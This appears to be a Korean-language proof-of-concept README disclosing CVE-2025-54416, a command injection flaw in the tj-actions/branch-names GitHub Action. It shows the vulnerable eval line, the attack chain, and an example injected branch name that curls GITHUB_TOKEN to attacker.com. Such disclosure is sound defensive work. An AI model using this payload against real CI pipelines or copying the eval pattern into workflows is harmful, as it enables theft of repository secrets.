공유

CVE-2025-54416: tj-actions/branch-names 명령 삽입 PoC

이 저장소는 CVE-2025-54416을 시연합니다. 이는 5,000개 이상의 공개 저장소에 영향을 미치는 tj-actions/branch-names의 치명적인 명령 삽입 취약점입니다.

취약점

tj-actions/branch-names GitHub Action(버전 <= 8.2.1)은 안전하지 않은 eval printf "%s"를 사용하며, 이는 적절한 무해화 이후에도 명령 삽입 위험을 다시 초래합니다.

# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"

공격 체인

공격자는 셸 명령을 포함한 악의적인 이름으로 브랜치를 생성합니다
피해자의 워크플로는 tj-actions/[email protected]을 사용하여 브랜치 이름을 추출합니다
추출된 브랜치 이름(공격자 페이로드 포함)은 후속 셸 명령에서 사용됩니다
명령은 CI 러너 컨텍스트에서 러너의 권한으로 실행됩니다
비밀값(AWS 키, GITHUB_TOKEN 등)이 유출됩니다

echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN